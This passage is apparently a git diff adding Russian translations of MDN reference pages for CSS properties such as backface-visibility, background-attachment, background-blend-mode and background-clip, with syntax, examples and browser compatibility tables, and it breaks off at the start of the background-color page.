+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css line-numbers language-css"><code class="language-css"><span class="selector token"><span class="class token">.box</span></span> <span class="punctuation token">{</span>
+  <span class="property token">background-color</span><span class="punctuation token">:</span> <span class="function token">rgba</span><span class="punctuation token">(</span><span class="number token">255</span><span class="punctuation token">,</span> <span class="number token">255</span><span class="punctuation token">,</span> <span class="number token">255</span><span class="punctuation token">,</span> <span class="number token">0.3</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="property token">border-radius</span><span class="punctuation token">:</span> <span class="number token">5</span><span class="token unit">px</span><span class="punctuation token">;</span>
+  <span class="property token">font-family</span><span class="punctuation token">:</span> sans-serif<span class="punctuation token">;</span>
+  <span class="property token">text-align</span><span class="punctuation token">:</span> center<span class="punctuation token">;</span>
+  <span class="property token">line-height</span><span class="punctuation token">:</span> <span class="number token">1</span><span class="punctuation token">;</span>
+ <span class="property token">-webkit-backdrop-filter</span><span class="punctuation token">:</span> <span class="function token">blur</span><span class="punctuation token">(</span><span class="number token">10</span><span class="token unit">px</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="property token">backdrop-filter</span><span class="punctuation token">:</span> <span class="function token">blur</span><span class="punctuation token">(</span><span class="number token">10</span><span class="token unit">px</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="property token">max-width</span><span class="punctuation token">:</span> <span class="number token">50</span><span class="token unit">%</span><span class="punctuation token">;</span>
+  <span class="property token">max-height</span><span class="punctuation token">:</span> <span class="number token">50</span><span class="token unit">%</span><span class="punctuation token">;</span>
+  <span class="property token">padding</span><span class="punctuation token">:</span> <span class="number token">20</span><span class="token unit">px</span> <span class="number token">40</span><span class="token unit">px</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="selector token">html,
+body</span> <span class="punctuation token">{</span>
+  <span class="property token">height</span><span class="punctuation token">:</span> <span class="number token">100</span><span class="token unit">%</span><span class="punctuation token">;</span>
+  <span class="property token">width</span><span class="punctuation token">:</span> <span class="number token">100</span><span class="token unit">%</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="selector token">body</span> <span class="punctuation token">{</span>
+  <span class="property token">background-image</span><span class="punctuation token">:</span> <span class="token url">url('https://lorempixel.com/400/200/')</span><span class="punctuation token">;</span>
+  <span class="property token">background-position</span><span class="punctuation token">:</span> center center<span class="punctuation token">;</span>
+  <span class="property token">background-repeat</span><span class="punctuation token">:</span> no-repeat<span class="punctuation token">;</span>
+  <span class="property token">background-size</span><span class="punctuation token">:</span> cover<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="selector token"><span class="class token">.container</span></span> <span class="punctuation token">{</span>
+  <span class="property token">align-items</span><span class="punctuation token">:</span> center<span class="punctuation token">;</span>
+  <span class="property token">display</span><span class="punctuation token">:</span> flex<span class="punctuation token">;</span>
+  <span class="property token">justify-content</span><span class="punctuation token">:</span> center<span class="punctuation token">;</span>
+  <span class="property token">height</span><span class="punctuation token">:</span> <span class="number token">100</span><span class="token unit">%</span><span class="punctuation token">;</span>
+  <span class="property token">width</span><span class="punctuation token">:</span> <span class="number token">10</span><span class="punctuation token">}</span></code></pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html line-numbers language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>container<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>box<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>backdrop-filter: blur(10px)<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample("Примеры", 600, 400)}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Состояние</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Filters 2.0', '#BackdropFilterProperty', 'backdrop-filter')}}</td>
+   <td>{{Spec2('Filters 2.0')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("css.properties.backdrop-filter")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{cssxref("filter")}}</li>
+ <li><a href="http://product.voxmedia.com/til/2015/2/17/8053347/css-ios-transparency-with-webkit-backdrop-filter">Building iOS-like transparency effects in CSS with backdrop-filter</a></li>
+</ul>
diff --git a/files/ru/web/css/backface-visibility/index.html b/files/ru/web/css/backface-visibility/index.html
new file mode 100644
index 0000000000..c4b1dd40f6
--- /dev/null
+++ b/files/ru/web/css/backface-visibility/index.html
@@ -0,0 +1,207 @@
+---
+title: backface-visibility
+slug: Web/CSS/backface-visibility
+translation_of: Web/CSS/backface-visibility
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>Свойство <strong><code>backface-visibility</code></strong> определяет, видно ли заднюю грань элемента, когда он повернут к пользователю.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/backface-visibility.html")}}</div>
+
+<p class="hidden">Исходный код этого интерактивного примера хранится в репозитории GitHub. Если вы хотите внести свой вклад в проект интерактивных примеров, пожалуйста, склонируйте <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и отправьте нам запрос на извлечение.</p>
+
+<p>Задняя поверхность элемента является зеркальным отражением его передней поверхности. Однако невидимая в 2D, задняя грань может быть видимой, когда преобразование вызывает вращение элемента в 3D пространстве. (Это свойство не влияет на 2D-преобразования, которые не имеют перспективы.)</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush:css no-line-numbers">/* Значения ключевых слов */
+backface-visibility: visible;
+backface-visibility: hidden;
+
+/* Глобальные значения */
+backface-visibility: inherit;
+backface-visibility: initial;
+backface-visibility: unset;</pre>
+
+<p>Свойство <code>backface-visibility</code> указывается в качестве одного из ключевых слов, перечисленных ниже.</p>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>visible</code></dt>
+ <dd>Задняя сторона видна, когда повернута к пользователю.</dd>
+ <dt><code>hidden</code></dt>
+ <dd>Задняя поверхность скрыта, что делает элемент невидимым, когда он повернутый от пользователя.</dd>
+</dl>
+
+<h3 id="Официальный_синтаксис">Официальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<p>В этом примере показан куб с прозрачными гранями.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;table&gt;
+  &lt;tr&gt;
+    &lt;th&gt;&lt;code&gt;backface-visibility: visible;&lt;/code&gt;&lt;/th&gt;
+    &lt;th&gt;&lt;code&gt;backface-visibility: hidden;&lt;/code&gt;&lt;/th&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;
+      &lt;div class="container"&gt;
+        &lt;div class="cube showbf"&gt;
+          &lt;div class="face front"&gt;1&lt;/div&gt;
+          &lt;div class="face back"&gt;2&lt;/div&gt;
+          &lt;div class="face right"&gt;3&lt;/div&gt;
+          &lt;div class="face left"&gt;4&lt;/div&gt;
+          &lt;div class="face top"&gt;5&lt;/div&gt;
+          &lt;div class="face bottom"&gt;6&lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;p&gt;
+        Since all faces are partially transparent,
+        the back faces (2, 4, 5) are visible
+        through the front faces (1, 3, 6).
+      &lt;/p&gt;
+    &lt;/td&gt;
+    &lt;td&gt;
+      &lt;div class="container"&gt;
+        &lt;div class="cube hidebf"&gt;
+          &lt;div class="face front"&gt;1&lt;/div&gt;
+          &lt;div class="face back"&gt;2&lt;/div&gt;
+          &lt;div class="face right"&gt;3&lt;/div&gt;
+          &lt;div class="face left"&gt;4&lt;/div&gt;
+          &lt;div class="face top"&gt;5&lt;/div&gt;
+          &lt;div class="face bottom"&gt;6&lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;p&gt;
+        The three back faces (2, 4, 5) are
+        hidden.
+      &lt;/p&gt;
+    &lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">/* Классы, которые будут показывать или скрывать
+   три задние грани "куба" */
+.showbf div {
+  backface-visibility: visible;
+}
+
+.hidebf div {
+  backface-visibility: hidden;
+}
+
+/* Определяет контейнер div, кубический div и общую грань */
+.container {
+  width: 150px;
+  height: 150px;
+  margin: 75px 0 0 75px;
+  border: none;
+}
+
+.cube {
+  width: 100%;
+  height: 100%;
+  perspective: 550px;
+  perspective-origin: 150% 150%;
+  transform-style: preserve-3d;
+}
+
+.face {
+  display: block;
+  position: absolute;
+  width: 100px;
+  height: 100px;
+  border: none;
+  line-height: 100px;
+  font-family: sans-serif;
+  font-size: 60px;
+  color: white;
+  text-align: center;
+}
+
+/* Определяет каждое лицо на основе направления */
+.front {
+  background: rgba(0, 0, 0, 0.3);
+  transform: translateZ(50px);
+}
+
+.back {
+  background: rgba(0, 255, 0, 1);
+  color: black;
+  transform: rotateY(180deg) translateZ(50px);
+}
+
+.right {
+  background: rgba(196, 0, 0, 0.7);
+  transform: rotateY(90deg) translateZ(50px);
+}
+
+.left {
+  background: rgba(0, 0, 196, 0.7);
+  transform: rotateY(-90deg) translateZ(50px);
+}
+
+.top {
+  background: rgba(196, 196, 0, 0.7);
+  transform: rotateX(90deg) translateZ(50px);
+}
+
+.bottom {
+  background: rgba(196, 0, 196, 0.7);
+  transform: rotateX(-90deg) translateZ(50px);
+}
+
+/* Сделает стол немного лучше */
+th, p, td {
+  background-color: #EEEEEE;
+  margin: 0px;
+  padding: 6px;
+  font-family: sans-serif;
+  text-align: left;
+}</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample('Example', '100%', 360)}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Transforms 2', '#propdef-backface-visibility', 'backface-visibility')}}</td>
+   <td>{{Spec2('CSS Transforms 2')}}</td>
+   <td>Первоначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице генерируется из структурированных данных. Если вы хотите внести свой вклад в эти данные, просмотритеt <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на извлечение.</div>
+
+<p>{{Compat("css.properties.backface-visibility")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Transforms/Using_CSS_transforms">Использование CSS преобразований</a></li>
+</ul>
diff --git a/files/ru/web/css/background-attachment/index.html b/files/ru/web/css/background-attachment/index.html
new file mode 100644
index 0000000000..a23507d906
--- /dev/null
+++ b/files/ru/web/css/background-attachment/index.html
@@ -0,0 +1,223 @@
+---
+title: background-attachment
+slug: Web/CSS/background-attachment
+tags:
+  - CSS
+  - CSS Background
+  - CSS Property
+  - Reference
+translation_of: Web/CSS/background-attachment
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Summary" name="Summary">Краткое описание</h2>
+
+<p>Если указано {{Cssxref("background-image")}}, <a href="/en-US/docs/CSS" title="CSS">CSS</a> свойство <code>background-attachment</code> определяет, является ли позиция этого изображения фиксированной в области просмотра, или прокручивается вместе с содержащим его блоком.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="brush: css notranslate">/* Ключевые значения */
+background-attachment: scroll;
+background-attachment: fixed;
+background-attachment: local;
+
+/* Глобальные значения */
+background-attachment: inherit;
+background-attachment: initial;
+background-attachment: unset;</pre>
+
+<p>Значение свойства <code>background-attachment</code> задается одним из ключевых значений из списка ниже.</p>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>fixed</code></dt>
+ <dd>Фон фиксируется относительно области просмотра. Даже если элемент имеет механизм прокрутки, фон не перемещается вместе с элементом. (Это значение несовместимо с {{cssxref("background-clip", "background-clip: text", "#text")}}.)</dd>
+ <dt><code>local</code></dt>
+ <dd>Фон фиксируется относительно содержимого элемента. Если элемент имеет механизм прокрутки, фон прокручивается с содержимым элемента, и область рисования фона и область позиционирования фона относятся к прокручиваемой области элемента, а не к границе, обрамляющей их.</dd>
+ <dt><code>scroll</code></dt>
+ <dd>Фон фиксируется относительно самого элемента и не прокручивается с его содержимым. (Он фактически прикреплен к границе элемента.)</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}
+</pre>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Простой_пример">Простой пример</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;p&gt;
+  There were doors all round the hall, but they were all locked; and when
+  Alice had been all the way down one side and up the other, trying every
+  door, she walked sadly down the middle, wondering how she was ever to
+  get out again.
+&lt;/p&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush:css; highlight:[3]; notranslate">p {
+  background-image: url("https://mdn.mozillademos.org/files/12057/starsolid.gif");
+  background-attachment: fixed;
+}
+</pre>
+
+<h4 id="Результат">Результат</h4>
+
+<p>{{EmbedLiveSample("Простой_пример")}}</p>
+
+<h3 id="Поддержка_нескольких_фоновых_изображений">Поддержка нескольких фоновых изображений</h3>
+
+<p>Это свойство поддерживает несколько фоновых изображений. Вы можете указать разные <code>&lt;attachment&gt;</code> для каждого фона, разделенных запятыми. Каждое изображение сопоставляется с соответствующим типом вложения, от первого указанного до последнего.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;p&gt;
+  There were doors all round the hall, but they were all locked; and when
+  Alice had been all the way down one side and up the other, trying every
+  door, she walked sadly down the middle, wondering how she was ever to
+  get out again.
+
+  Suddenly she came upon a little three-legged table, all made of solid
+  glass; there was nothing on it except a tiny golden key, and Alice's
+  first thought was that it might belong to one of the doors of the hall;
+  but, alas! either the locks were too large, or the key was too small,
+  but at any rate it would not open any of them. However, on the second
+  time round, she came upon a low curtain she had not noticed before, and
+  behind it was a little door about fifteen inches high: she tried the
+  little golden key in the lock, and to her great delight it fitted!
+&lt;/p&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush:css; highlight:[3]; notranslate">p {
+  background-image: url("https://mdn.mozillademos.org/files/12057/starsolid.gif"), url("https://mdn.mozillademos.org/files/12059/startransparent.gif");
+  background-attachment: fixed, scroll;
+  background-repeat: no-repeat, repeat-y;
+}</pre>
+
+<h4 id="Результат_2">Результат</h4>
+
+<p>{{EmbedLiveSample("Поддержка_нескольких_фоновых_изображений")}}</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#the-background-attachment', 'background-attachment')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Сокращенное свойство было расширено для поддержки нескольких фонов и значения <code>local</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'colors.html#propdef-background-attachment', 'background-attachment')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Никаких существенных изменений.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#background-attachment', 'background-attachment')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость браузеров</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>4.0</td>
+   <td>3.5</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td>Multiple backgrounds</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.9.2")}}</td>
+   <td>9.0</td>
+   <td>10.5</td>
+   <td>1.3</td>
+  </tr>
+  <tr>
+   <td><code>local</code></td>
+   <td>4.0</td>
+   <td>{{CompatNo}}</td>
+   <td>9.0</td>
+   <td>10.5</td>
+   <td>5.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.1</td>
+   <td>{{CompatGeckoMobile("1.9.2")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.0</td>
+   <td>3.2</td>
+  </tr>
+  <tr>
+   <td>Multiple backgrounds</td>
+   <td>2.1</td>
+   <td>{{CompatGeckoMobile("1.9.2")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.0</td>
+   <td>3.2</td>
+  </tr>
+  <tr>
+   <td><code>local</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Multiple_backgrounds" title="CSS/Multiple backgrounds">Несколько фонов</a></li>
+</ul>
diff --git a/files/ru/web/css/background-blend-mode/index.html b/files/ru/web/css/background-blend-mode/index.html
new file mode 100644
index 0000000000..bfcdd98ff3
--- /dev/null
+++ b/files/ru/web/css/background-blend-mode/index.html
@@ -0,0 +1,145 @@
+---
+title: background-blend-mode
+slug: Web/CSS/background-blend-mode
+translation_of: Web/CSS/background-blend-mode
+---
+<p>{{CSSRef()}}</p>
+
+<h2 id="Summary" name="Summary">Описание</h2>
+
+<p>Свойство <code>background-blend-mode</code> описывает то, как фоновое изображение элемента должно накладываться на фоны других элементов.</p>
+
+<p>Режимы наложения должны быть определены в том же порядке что CSS свойство {{cssxref("background-image")}}. Если длины списка режимов наложения и фоновых изображений не равны, он будет повторяться и/или сокращаться до совпадения длин.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="twopartsyntaxbox"><code>Формальный синтаксис:  {{csssyntax("background-blend-mode")}}</code></pre>
+
+<pre>background-blend-mode: normal;               /* Одно значение */
+background-blend-mode: darken, luminosity;   /* Два значение, по одному на каждый фон */
+
+background-blend-mode: initial;
+background-blend-mode: inherit;
+background-blend-mode: unset;
+</pre>
+
+<h3 id="Values" name="Values">Значения</h3>
+
+<dl>
+ <dt><code>&lt;blend-mode&gt;</code></dt>
+ <dd>{{cssxref("&lt;blend-mode&gt;")}} обозначающий режим наложения, который применен. Может быть несколько значений, разделенных запятыми.</dd>
+</dl>
+
+<h2 id="Examples" name="Examples">Пример</h2>
+
+<pre class="brush: html" style="display: none;">&lt;div id="div"&gt;&lt;/div&gt;
+&lt;select id="select"&gt;
+    &lt;option&gt;normal&lt;/option&gt;
+    &lt;option&gt;multiply&lt;/option&gt;
+    &lt;option selected&gt;screen&lt;/option&gt;
+    &lt;option&gt;overlay&lt;/option&gt;
+    &lt;option&gt;darken&lt;/option&gt;
+    &lt;option&gt;lighten&lt;/option&gt;
+    &lt;option&gt;color-dodge&lt;/option&gt;
+    &lt;option&gt;color-burn&lt;/option&gt;
+    &lt;option&gt;hard-light&lt;/option&gt;
+    &lt;option&gt;soft-light&lt;/option&gt;
+    &lt;option&gt;difference&lt;/option&gt;
+    &lt;option&gt;exclusion&lt;/option&gt;
+    &lt;option&gt;hue&lt;/option&gt;
+    &lt;option&gt;saturation&lt;/option&gt;
+    &lt;option&gt;color&lt;/option&gt;
+    &lt;option&gt;luminosity&lt;/option&gt;
+&lt;/select&gt;</pre>
+
+<pre class="brush: css" style="display: none;">#div {
+    width: 300px;
+    height: 300px;
+    background: url('https://mdn.mozillademos.org/files/8543/br.png'),url('https://mdn.mozillademos.org/files/8545/tr.png');
+    background-blend-mode: screen;
+}</pre>
+
+<pre class="brush: js" style="display: none;">document.getElementById("select").onchange = function(event) {
+    document.getElementById("div").style.backgroundBlendMode = document.getElementById("select").selectedOptions[0].innerHTML;
+}
+console.log(document.getElementById('div'));</pre>
+
+<p>{{ EmbedLiveSample('Examples', "330", "330") }}</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('Compositing', '#background-blend-mode', 'background-blend-mode') }}</td>
+   <td>{{ Spec2('Compositing') }}</td>
+   <td>Первоначальная спецификация</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable()}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>35</td>
+   <td>{{CompatGeckoDesktop('30.0')}}</td>
+   <td>{{CompatNo()}}</td>
+   <td>22</td>
+   <td>7.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo()}}</td>
+   <td>{{CompatGeckoMobile('30.0')}}</td>
+   <td>{{CompatNo()}}</td>
+   <td>22</td>
+   <td>iOS 8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{cssxref("&lt;blend-mode&gt;")}}</li>
+ <li>{{cssxref("mix-blend-mode")}}</li>
+</ul>
diff --git a/files/ru/web/css/background-clip/index.html b/files/ru/web/css/background-clip/index.html
new file mode 100644
index 0000000000..213ea5d62d
--- /dev/null
+++ b/files/ru/web/css/background-clip/index.html
@@ -0,0 +1,118 @@
+---
+title: background-clip
+slug: Web/CSS/background-clip
+translation_of: Web/CSS/background-clip
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Свойство CSS <strong><code>background-clip</code></strong> определяет как цвет фона или фоновое изображение будут выводиться под границами блока.</p>
+
+<p>Если фоновое изображение или цвет не заданы, это свойство будет иметь визуальный эффект, только если у границы есть прозрачные области или частично непрозрачные области (из-за {{cssxref("border-style")}} или {{cssxref("border-image")}}); в противном случае граница скрывает разницу.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: css"><code>/* </code>Значения ключевых слов<code> */
+background-clip: border-box;
+background-clip: padding-box;
+background-clip: content-box;
+background-clip: text;
+
+/* </code>Глобальные значения<code> */
+background-clip: inherit;
+background-clip: initial;
+background-clip: unset;</code></pre>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>border-box</code></dt>
+ <dd>Фон распространяется до внешнего края границы (но под границей в z-порядке).</dd>
+ <dt><code>padding-box</code></dt>
+ <dd>Фон распространяется до внешнего края отступа. Под границей фон не рисуется.</dd>
+ <dt><code>content-box</code></dt>
+ <dd>Фон закрашивается внутри (обрезается) поля содержимого.</dd>
+ <dt><code>text</code> {{experimental_inline}}</dt>
+ <dd>Фон закрашивается внутри (обрезается) текста переднего плана.</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre>{{csssyntax}}</pre>
+
+<h2 id="Example" name="Example">Примеры</h2>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html"><code>&lt;p class="border-box"&gt;The background extends behind the border.&lt;/p&gt;
+&lt;p class="padding-box"&gt;The background extends to the inside edge of the border.&lt;/p&gt;
+&lt;p class="content-box"&gt;The background extends only to the edge of the content box.&lt;/p&gt;
+&lt;p class="text"&gt;The background is clipped to the foreground text.&lt;/p&gt;</code></pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css"><code>p {
+  border: .8em darkviolet;
+  border-style: dotted double;
+  margin: 1em 0;
+  padding: 1.4em;
+  background: linear-gradient(60deg, red, yellow, red, yellow, red);
+  font: 900 1.2em sans-serif;
+  text-decoration: underline;
+}
+
+.border-box { background-clip: border-box; }
+.padding-box { background-clip: padding-box; }
+.content-box { background-clip: content-box; }
+
+.text {
+  background-clip: text;
+  color: rgba(0,0,0,.2);
+}</code></pre>
+
+<h4 id="Результат">Результат</h4>
+
+<p>{{EmbedLiveSample('Example', 600, 580)}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#the-background-clip', 'background-clip')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Первоначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Backgrounds', '#background-clip', 'background-clip')}}</td>
+   <td>{{Spec2('CSS4 Backgrounds')}}</td>
+   <td>Добавляет значение <code>text</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">
+<p>Таблица совместимости на этой странице генерируется из структурированных данных. Если вы хотите внести свой вклад в эти данные, просмотрите <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на извлечение.</p>
+</div>
+
+<p>{{Compat("css.properties.background-clip")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Свойство {{cssxref("clip-path")}} создает область отсечения, которая определяет, которая определяет, какая часть целого элемента должна отображаться.</li>
+ <li>Свойства фона: {{cssxref("background")}}, {{cssxref("background-color")}}, {{cssxref("background-image")}}</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/box_model">Введение в блочную модель CSS</a></li>
+</ul>
diff --git a/files/ru/web/css/background-color/index.html b/files/ru/web/css/background-color/index.html
new file mode 100644
index 0000000000..bf36dfbcb0
--- /dev/null
+++ b/files/ru/web/css/background-color/index.html
@@ -0,0 +1,163 @@
+---
+title: background-color
+slug: Web/CSS/background-color
+tags:
+  - CSS
+  - CSS свойства
+  - CSS фоны
+  - Графика
+  - Определение
+  - Раскладка
+translation_of: Web/CSS/background-color
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ru/docs/Web/CSS">CSS</a>-свойство <strong><code>background-color</code></strong> <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a> устанавливает цвет фона элемента.</p>
+
+<p>{{EmbedInteractiveExample("pages/css/background-color.html")}}</p>
+
+<h2 id="Cинтаксис">Cинтаксис</h2>
+
+<pre class="brush: css no-line-numbers">/* Словесные значения */
+background-color: red;
+
+/* Шестнадцатеричное значение */
+background-color: #bbff00;
+
+/* Шестнадцатеричное значение с alpha-каналом */
+background-color: #11ffee00; /* 00 - полностью прозрачный */
+background-color: #11ffeeff; /* ff - непрозрачный */
+
+/* RGB-значение */
+background-color: rgb(255, 255, 128);
+
+/* RGBA-значение или RGB с alpha-каналом */
+background-color: rgba(117, 190, 218, 0.0); /* 0.0 - полностью прозрачный */
